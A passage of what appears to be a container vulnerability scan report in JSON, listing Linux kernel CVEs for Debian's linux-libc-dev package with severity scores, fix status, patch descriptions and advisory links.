"https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53112" ], "PublishedDate": "2026-06-24T17:17:25.583Z", "LastModifiedDate": "2026-07-23T21:30:30.73Z" }, { "VulnerabilityID": "CVE-2026-53115", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53115", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1baed79ca32d41d6f07ecd96346eeea0a5b65b83120cff1c46fdc2dce5220769", "Title": "kernel: bus: fsl-mc: use generic driver_override infrastructure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbus: fsl-mc: use generic driver_override infrastructure\n\nWhen a driver is probed through __driver_attach(), the bus' match()\ncallback is called without the device lock held, thus accessing the\ndriver_override field without a lock, which can cause a UAF.\n\nFix this by using the driver-core driver_override infrastructure taking\ncare of proper locking internally.\n\nNote that calling match() from __driver_attach() without the device lock\nheld is intentional. [1]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53115", "https://git.kernel.org/linus/6c8dfb0362732bf1e4829867a2a5239fedc592d0%20%287.1-rc1%29", "https://git.kernel.org/stable/c/4911b836f35c034c36f102db4ecbe339b38e7d1d", "https://git.kernel.org/stable/c/60bfb563a399c4597dc80588a1109758a8908b97", "https://git.kernel.org/stable/c/6c8dfb0362732bf1e4829867a2a5239fedc592d0", "https://git.kernel.org/stable/c/8139ce66b52a4a5638bfb445b037c07d4abeb08e", "https://git.kernel.org/stable/c/dbba371b19129abe9649553ab912e6bccf6c1a5b", "https://kernelcve.org/list/?q=CVE-2026-53115", "https://lore.kernel.org/linux-cve-announce/2026062415-CVE-2026-53115-1078@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53115", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53115" ], "PublishedDate": "2026-06-24T17:17:25.89Z", "LastModifiedDate": "2026-10-21T13:19:11.117Z" }, { "VulnerabilityID": "CVE-2026-53117", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53117", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9536c00eef86bbb07b3512710211fd3c57c81b5db31d60338850acd229830d48", "Title": "kernel: s390/cio: use generic driver_override infrastructure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ns390/cio: use generic driver_override infrastructure\n\nWhen a driver is probed through __driver_attach(), the bus' match()\ncallback is called without the device lock held, thus accessing the\ndriver_override field without a lock, which can cause a UAF.\n\nFix this by using the driver-core driver_override infrastructure taking\ncare of proper locking internally.\n\nNote that calling match() from __driver_attach() without the device lock\nheld is intentional. [1]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53117", "https://git.kernel.org/linus/ac4d8bb6e2e13e8684a76ea48d13ebaaaf5c24c4%20%287.1-rc1%29", "https://git.kernel.org/stable/c/106d594711e97762788046c5bbb94f580abc4bf4", "https://git.kernel.org/stable/c/2081957d8c323ffb58a10bc64837717ac5a042a1", "https://git.kernel.org/stable/c/ac4d8bb6e2e13e8684a76ea48d13ebaaaf5c24c4", "https://git.kernel.org/stable/c/b660ba045b2b22cf3b4be72773de00cb48f47be5", "https://git.kernel.org/stable/c/c4295487124f461405e1ef64dfa8c4ab0cb7ebcf", "https://kernelcve.org/list/?q=CVE-2026-53117", "https://lore.kernel.org/linux-cve-announce/2026062415-CVE-2026-53117-04ff@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53117", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53117" ], "PublishedDate": "2026-06-24T17:17:26.09Z", "LastModifiedDate": "2026-11-06T17:18:07.963Z" }, { "VulnerabilityID": "CVE-2026-53118", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53118", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ed035a618966a92171ea450217e2acb1e3759b0c96187e7b13968de0b2ebb640", "Title": "kernel: vdpa: use generic driver_override infrastructure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvdpa: use generic driver_override infrastructure\n\nWhen a driver is probed through __driver_attach(), the bus' match()\ncallback is called without the device lock held, thus accessing the\ndriver_override field without a lock, which can cause a UAF.\n\nFix this by using the driver-core driver_override infrastructure taking\ncare of proper locking internally.\n\nNote that calling match() from __driver_attach() without the device lock\nheld is intentional. [1]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53118", "https://git.kernel.org/linus/85bb534ff12aab6916058897b39c748940a7a4c6%20%287.1-rc1%29", "https://git.kernel.org/stable/c/4005cb89139f7c9af85046b241dcf3fa2e1b3559", "https://git.kernel.org/stable/c/4eab1a74a498f0bf19f102f9362e9deef9307aea", "https://git.kernel.org/stable/c/654ef9c33e138ede6734ac286282df9faf83cd11", "https://git.kernel.org/stable/c/85bb534ff12aab6916058897b39c748940a7a4c6", "https://git.kernel.org/stable/c/fb5cb4913ce333cc4647722e8c2b8378e12f2464", "https://kernelcve.org/list/?q=CVE-2026-53118", "https://lore.kernel.org/linux-cve-announce/2026062415-CVE-2026-53118-a02a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53118", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-53118" ], "PublishedDate": "2026-06-24T17:17:26.19Z", "LastModifiedDate": "2026-11-06T17:18:08.123Z" }, { "VulnerabilityID": "CVE-2026-53120", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53120", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:083cc1c92bd7303e616856d5378dffcf7a91d246713dda7260f399c6f0769013", "Title": "kernel: PCI: use generic driver_override infrastructure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI: use generic driver_override infrastructure\n\nWhen a driver is probed through __driver_attach(), the bus' match()\ncallback is called without the device lock held, thus accessing the\ndriver_override field without a lock, which can cause a UAF.\n\nFix this by using the driver-core driver_override infrastructure taking\ncare of proper locking internally.\n\nNote that calling match() from __driver_attach() without the device lock\nheld is intentional. [1]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53120", "https://git.kernel.org/linus/10a4206a24013be4d558d476010cbf2eb4c9fa64%20%287.1-rc1%29", "https://git.kernel.org/stable/c/10a4206a24013be4d558d476010cbf2eb4c9fa64", "https://git.kernel.org/stable/c/58a42be0d70307d765594fc581f5f5e5ef059712", "https://git.kernel.org/stable/c/c5b2c5755495507e14f310c2653c85de0a309b1f", "https://git.kernel.org/stable/c/dfe950d9464cad609f3b118c6203e2708055bc61", "https://git.kernel.org/stable/c/fdfa287956d00b936e0ac409b21e4f90501ad109", "https://kernelcve.org/list/?q=CVE-2026-53120", "https://lore.kernel.org/linux-cve-announce/2026062416-CVE-2026-53120-1d8f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53120", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-53120" ], "PublishedDate": "2026-06-24T17:17:26.38Z", "LastModifiedDate": "2026-11-06T17:18:08.28Z" }, { "VulnerabilityID": "CVE-2026-53129", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53129", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:aedaf5e912b25da0496737a50dbea3a9df6e88276bbbd0a878aa74e452f19146", "Title": "kernel: fs/mbcache: cancel shrink work before destroying the cache", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/mbcache: cancel shrink work before destroying the cache\n\nmb_cache_destroy() calls shrinker_free() and then frees all cache\nentries and the cache itself, but it does not cancel the pending\nc_shrink_work work item first.\n\nIf mb_cache_entry_create() schedules c_shrink_work via schedule_work()\nand the work item is still pending or running when mb_cache_destroy()\nruns, mb_cache_shrink_worker() will access the cache after its memory\nhas been freed, causing a use-after-free.\n\nThis is only reachable by a privileged user (root or CAP_SYS_ADMIN)\nwho can trigger the last put of a mounted ext2/ext4/ocfs2 filesystem.\n\nCancel the work item with cancel_work_sync() before calling\nshrinker_free(), ensuring the worker has finished and will not be\nrescheduled before the cache is torn down.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53129", "https://git.kernel.org/linus/d227786ab1119669df4dc333a61510c52047cce4%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0e4eff315d799f5842b95872199b0f0fb8ef5f51", "https://git.kernel.org/stable/c/40148c615687c1692712e50a6de53d62dfbfc20f", "https://git.kernel.org/stable/c/a88d39a74a208e197c03bffaa2df34de732af19f", "https://git.kernel.org/stable/c/b25fd3523bef88fb7ffd4c5b63bbe9c08f73bb4c", "https://git.kernel.org/stable/c/cbdd6f0fb19a0ce8a013acd80ac87a62f57fa20d", "https://git.kernel.org/stable/c/d227786ab1119669df4dc333a61510c52047cce4", "https://kernelcve.org/list/?q=CVE-2026-53129", "https://lore.kernel.org/linux-cve-announce/2026062418-CVE-2026-53129-781c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53129", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-53129" ], "PublishedDate": "2026-06-24T17:17:28.793Z", "LastModifiedDate": "2026-11-06T17:18:09.117Z" }, { "VulnerabilityID": "CVE-2026-53130", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53130", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ce52c6c7bcf4f2cb3626293f220f2e6b979d0520dfd231c4e13f84b3af5cb2dc", "Title": "kernel: Linux kernel OMFS: Arbitrary code execution via crafted filesystem image", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/omfs: reject s_sys_blocksize smaller than OMFS_DIR_START\n\nomfs_fill_super() rejects oversized s_sys_blocksize values (\u003e PAGE_SIZE),\nbut it does not reject values smaller than OMFS_DIR_START (0x1b8 = 440).\n\nLater, omfs_make_empty() uses\n\n sbi-\u003es_sys_blocksize - OMFS_DIR_START\n\nas the length argument to memset(). Since s_sys_blocksize is u32,\na crafted filesystem image with s_sys_blocksize \u003c OMFS_DIR_START causes\nan unsigned underflow there, wrapping to a value near 2^32. That drives\na ~4 GiB memset() from bh-\u003eb_data + OMFS_DIR_START and overwrites kernel\nmemory far beyond the backing block buffer.\n\nAdd the corresponding lower-bound check alongside the existing upper-bound\ncheck in omfs_fill_super(), so that malformed images are rejected during\nsuperblock validation before any filesystem data is processed.", "Severity": "HIGH", "CweIDs": [ "CWE-191" ], "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53130", "https://git.kernel.org/linus/0621c385fda1376e967f37ccd534c26c3e511d14%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0621c385fda1376e967f37ccd534c26c3e511d14", "https://git.kernel.org/stable/c/131ea3e57fc22936ed0e2c8330f2e36106172f51", "https://git.kernel.org/stable/c/5822a05a841a10794ad818620dd2af490b0705d3", "https://git.kernel.org/stable/c/6561afc38398e3518a29c5eebb975c30468f98a6", "https://git.kernel.org/stable/c/754ff1bea3819a90c6f33cccfc1a299ef7609f07", "https://git.kernel.org/stable/c/79f84af38c9fef9deb0e02c79eb969b5541c2644", "https://git.kernel.org/stable/c/817f16ed62bc58a168417bfb5e859c2a370bab03", "https://git.kernel.org/stable/c/fbc72f5c645155dc2ed3573243ed20f9913e3a54", "https://lore.kernel.org/linux-cve-announce/2026062418-CVE-2026-53130-c204@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53130", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53130" ], "PublishedDate": "2026-06-24T17:17:28.903Z", "LastModifiedDate": "2026-07-06T15:26:25.98Z" }, { "VulnerabilityID": "CVE-2026-53136", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53136", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:28595111bfd604d06a9470cbaa59b913722e511f3f0010e46646017d1c2e9158", "Title": "kernel: drm/amd/display: Clamp VBIOS HDMI retimer register count to array size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Clamp VBIOS HDMI retimer register count to array size\n\n[Why \u0026 How]\nThe VBIOS integrated info tables (v1_11 and v2_1) contain HdmiRegNum and\nHdmi6GRegNum fields that are used as loop bounds when copying retimer I2C\nregister settings into fixed-size arrays (dp*_ext_hdmi_reg_settings[9]\nand dp*_ext_hdmi_6g_reg_settings[3]). These u8 fields are not validated\nbefore use, so a malformed VBIOS can specify values up to 255, causing an\nout-of-bounds heap write during driver probe.\n\nClamp each register count to the destination array size using min_t()\nbefore the copy loops, in both get_integrated_info_v11() and\nget_integrated_info_v2_1().\n\n(cherry picked from commit 5a7f0ef90195940c54b0f5bb85b87da55f038c69)", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-53136", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", 